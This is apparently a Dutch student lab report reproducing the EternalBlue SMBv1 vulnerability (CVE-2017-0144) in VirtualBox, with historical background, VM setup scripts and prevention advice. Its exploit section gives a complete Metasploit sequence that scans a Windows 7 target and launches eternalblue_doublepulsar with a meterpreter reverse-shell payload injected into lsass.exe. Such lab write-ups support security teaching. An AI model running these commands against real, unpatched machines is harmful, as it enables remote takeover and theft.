CYBERSECURITY & VIRTUALISATION

Docent: Pieter-Jan Maenhaut

Tom Coenen
Robin Verplancke
TIAO

Introductie

Voor de NPE-opdracht van Cybersecurity & Virtualisation werd gekozen voor vulnerability CVE 2017-0144.

CVE-2017-0144, ook wel gekend onder de naam Microsoft SMBv1 Remote Code Execution Vulnerability, is een beveiligingskwetsbaarheid in het besturingssysteem van Microsoft Windows. De kwetsbaarheid bevindt zich in het Server Message Block (SMB) protocol, dat wordt gebruikt voor het delen van bestanden en printers op een netwerk. Deze exploit stelt kwaadaardige gebruikers in staat om van op afstand code uit te voeren op kwetsbare systemen zonder dat daar enige vorm van authenticatie voor nodig is.

De NSA was al jaren op zoek naar potentiële kwetsbaarheden binnen Microsoft. Toen ze het SMBv1 protocol probleem ontdekten, ontwikkelde de NSA een exploit, genaamd EternalBlue, om gebruik te maken van deze kwetsbaarheid. In plaats van Microsoft in te lichten over de risico's die hun gebruikers liepen, gebruikte de NSA EternalBlue (en de bijhorende backdoor DoublePulsar) een half decennium lang om te helpen bij antiterrorisme- en contraspionage-operaties. EternalBlue is slechts één voorbeeld van het gebruik van exploits en achterdeurtjes in software door de NSA. Toen bleek dat het hackerscollectief The Shadow Brokers de exploit bemachtigd hadden waarschuwde de NSA Microsoft om de exploit te verhelpen.

Dit was echter te laat: EternalBlue kwam aan het licht vanwege zijn rol in de verspreiding van de WannaCry ransomeware-aanval in 2017, die wereldwijd systemen trof en grote schade veroorzaakte (meer info). Datzelfde jaar volgde ook de NotPetya aanval, gebruik makend van EternalBlue (meer info).

Requirements

- Virtualbox
- Gedownloade bestanden:
    - Handleiding
    - Setup.ps1
    - *Installeert de VM's in Virtualbox*
    - Directory VDI
    - *Lege directory: hier worden de gedownloade VDI's geplaatst voor het uitvoeren van het setup script.*

Deployment

Om de exploit correct na te bootsen is een kwetsbare versie van Windows nodig. Vrijwel elke Windows versie uitgebracht voor 2017 bevat de kwetsbaarheid. Voor de reconstructie van deze exploit hebben we gekozen voor 'Windows 7 Ultimate SP1 (64bit)'.

Windows: Aangezien osboxes.org geen Windows VDI's of images aanbiedt, gebruiken we een persoonlijke kopie van Windows 7.

Kali: We voorzien een vooraf geconfigureerde VDI van Kali 2023.4. Het is ook mogelijk de VDI van osboxes.org te downloaden, in dit geval moeten er nog enkele configuratiestappen gevolgd worden voor de exploit kan uitgevoerd worden. Deze stappen zijn te vinden in BIJLAGE A.

1. Installeer Virtualbox
2. Download VDI's voor
    a. Kali 2023.4: https://1drv.ms/u/s!AogJDZBrZX0_zJAf-iqBq83YS6D-9g?e=R7uF7d
    b. Windows 7: https://1drv.ms/u/s!AogJDZBrZX0_zJAeaBZyoUMbueghlQ?e=N6Ak1S
3. Plaats beide VDI's in de folder VDI.
4. Run het *Setup.ps1* script: rechterklik -> voer uit met PowerShell.
5. Beide VM's worden geïnstalleerd
6. Windows VM:
    a. Windows key + R
    b. cmd
    c. ipconfig
    d. Noteer het IPv4-adres van de Windows VM
7. Kali VM:
    a. Open terminal
    b. *ip a*
    c. Noteer het IPv4 adres van de Kali VM

Exploit

1. Start Metasploit.
    - *msfconsole*
2. Scan vulnerability.
   De scanner die hierna gebruikt wordt bekijkt of een target machine kwetsbaar is voor onze smb vulnerability.
    - *use auxiliary/scanner/smb/smb_ms17_010*
    - *set RHOSTS <Windows IP>*
    - *run*
3. Exploit
    a. Configure payload.
        i. *use payload/windows/x64/meterpreter/reverse_tcp*
        ii. *info*
        iii. *set LHOST <Kali IP>*
    b. Configure Exploit
        i. *use exploit/windows/smb/eternalblue_doublepulsar*
        ii. *set payload payload/windows/x64/meterpreter/reverse_tcp*
        iii. *info*
        iv. *set TARGET 8 (Windows 7)*
        v. *set RHOSTS <windows ip>*
        vi. *set LHOST <kali ip>*
        vii. *set TARGETARCHITECTURE x64*
        viii. *set PROCESSINJECT lsass.exe*
        ix. *set DOUBLEPULSARPATH /home/osboxes/EternalBlue/Eternalblue-Doublepulsar-Metasploit/deps/*
        x. *set ETERNALBLUEPATH /home/osboxes/EternalBlue/Eternalblue-Doublepulsar-Metasploit/deps/*
        xi. *set WINEPATH /home/osboxes/.wine/drive_c/*
    c. Run exploit.
        i. *run*
    d. Shut down Windows.
        i. *shutdown /s*

Hoe de exploit voorkomen?

Het voor de hand liggende antwoord vandaag is het updaten van machines die SMB lopen. Zeker gezien de grote media-aandacht van de vulnerability is er vlug een fix uitgebracht.

Echter, voor het publiek bekend raken van de exploit waren alle Windows-computers met standaard configuratie kwetsbaar voor deze exploit! Dit is ook de reden waarom de NSA deze exploit jaren voor zichzelf hield en misbruikte, en is ook waarom ransomware zoals WannaCry zo'n impact had.

Dit is een SMB vulnerability, dus machines die de SMB-service uitschakelden waren niet kwetsbaar. SMB is echter een vaak gebruikt protocol, en staat standaard ook ingeschakeld in Windows.

Bijlagen

Bijlage A: Configuratie Kali

- Disable IPv6
    - *sudo nano /etc/sysctl.conf*
    - Voeg toe onderaan file:
        i. *net.ipv6.conf.all.disable_ipv6 = 1*
        ii. *net.ipv6.conf.default.disable_ipv6 = 1*
        iii. *net.ipv6.conf.lo.disable_ipv6 = 1*
        iv. *net.ipv6.conf.tun0.disable_ipv6 = 1*
    - Sla op, exit
        i. *CTRL + X*
        ii. *Y*
        iii. *Enter*
    - Reboot Kali
        i. *reboot*
- Add required architecture for wine32
    - *sudo dpkg --add-architecture i386*
- Update apt-get
    - *sudo apt-get update*
- Clone the required exploit (Default ones don't reliably exploit)
    - *git clone https://github.com/w0rtw0rt/EternalBlue*
- Start metasploit framework once to initialize database
    - *msfconsole*
    - *exit*
- Place eternalblue-doublepulsar.rb file into the exploits folder
    - *sudo cp EternalBlue/Eternalblue-Doublepulsar-Metasploit/eternalblue-doublepulsar.rb /usr/share/metasploit-framework/modules/exploits/windows/smb*
- Install Wine
    - *sudo apt-get install wine -y*
- Run wine to make required directories
    - *winecfg*
    - *close wine window*

Bijlage B: Setup script

```
# Variables
$KALI_VM = 'Kali_NPE'
$WINDOWS_7_VM = 'Windows_7_NPE'
$RAM = '2048'
$CPU = '2'
$VRAM = '128'
$NATNetworkName = "natNPECV"

# Append VirtualBox's installation directory to the PATH environment variable to make things easier
$Env:Path += ";C:\Program Files\Oracle\VirtualBox\"

#-------------------------------------------------------------------------------------------------------------------------
# 1. Setup Nat Network
#-------------------------------------------------------------------------------------------------------------------------

# Stop DHCP server process if it's running
$dhcpProcess = Get-Process -Name VBoxDHCP -ErrorAction SilentlyContinue
if ($dhcpProcess) {
  Write-Host "Stopping VirtualBox DHCP server..."
  Stop-Process -Name VBoxDHCP -Force
  Start-Sleep -Seconds 2  # Wait for the process to terminate
}

# Remove existing NAT network if needed
        # Check if the NAT network exists
        if (VBoxManage.exe natnetwork list | Select-String -Pattern $NATNetworkName) {
                # If it exists, remove it
                VBoxManage.exe natnetwork remove --netname $NATNetworkName
                Write-Output "NAT network '$NATNetworkName' removed successfully."
        } else {
                # If it doesn't exist, print a message
                Write-Output "NAT network '$NATNetworkName' does not exist."
        }

# Add NAT network with desired settings
Write-Output "Creating NAT network '$NATNetworkName'."
VBoxManage natnetwork add --netname $NATNetworkName --network "192.168.0.0/24" --dhcp on --ipv6 off --enable

# Start NAT network
Write-Output "Starting NAT network '$NATNetworkName'."
VBoxManage natnetwork start --netname $NATNetworkName

Start-Sleep 10
```

```
#-------------------------------------------------------------------------------------------------------------------------------
# 2. Create Kali VM for attack | +- 2min
#-------------------------------------------------------------------------------------------------------------------------------

# Register VM
VBoxManage createvm --name $KALI_VM --ostype 'Debian_64' --register

# Set VM settings
VBoxManage modifyvm $KALI_VM --cpus $CPU --memory $RAM --graphicscontroller vmsvga --vram
$VRAM --nic1 natnetwork --nat-network1 $NATNetworkName --clipboard-mode bidirectional --drag-and-
drop bidirectional

# Add a SATA storage controller
VBoxManage storagectl $KALI_VM --name 'SATA' --add sata --controller IntelAHCI --bootable on

# Add existing VDI to SATA controller
VBoxManage storageattach $KALI_VM --storagectl 'SATA' --port 0 --device 0 --type hdd --medium
'.\VDI\Kali Linux 2023.4 (64bit).vdi'

# Add VBoxGuestAdditions to VM
VBoxManage storageattach $KALI_VM --storagectl 'SATA' --port 1 --device 0 --type dvddrive --medium
'C:\Program Files\Oracle\VirtualBox\VBoxGuestAdditions.iso'

# Define boot order
VBoxManage modifyvm $KALI_VM --boot1 disk --boot2 dvd --boot3 none --boot4 none

# Start Kali VM
VBoxManage startvm $KALI_VM --type gui

Start-Sleep 10

#-------------------------------------------------------------------------------------------------------------------------------
# 3. Create Windows VM for vulnerability) | +- 15min
#-------------------------------------------------------------------------------------------------------------------------------

# Register VM
VBoxManage createvm --name $WINDOWS_7_VM --ostype 'Windows7_64' --register

# Set VM settings
VBoxManage modifyvm $WINDOWS_7_VM --cpus $CPU --memory $RAM --graphicscontroller vboxsvga --
vram $VRAM --nic1 natnetwork --nat-network1 $NATNetworkName --clipboard-mode bidirectional --
drag-and-drop bidirectional

# Add a SATA storage controller
```

```
VBoxManage storagectl $WINDOWS_7_VM --name 'SATA' --add sata --controller IntelAHCI --bootable on

# Add virtual disk to storage controller
VBoxManage storageattach $WINDOWS_7_VM --storagectl 'SATA' --port 0 --device 0 --type hdd --medium
'.\VDI\Windows 7 Ultimate SP1 (64bit).vdi'

# Define boot order
VBoxManage modifyvm $WINDOWS_7_VM --boot1 disk --boot2 dvd --boot3 none --boot4 none

# Start Windows VM
VBoxManage startvm $WINDOWS_7_VM --type gui

#------------------------------------------------------------------------------------------------------------------------
-------------------------
# 4. Finish Setup
#------------------------------------------------------------------------------------------------------------------------
-------------------------
Read-Host -Prompt "Press Enter to exit"
```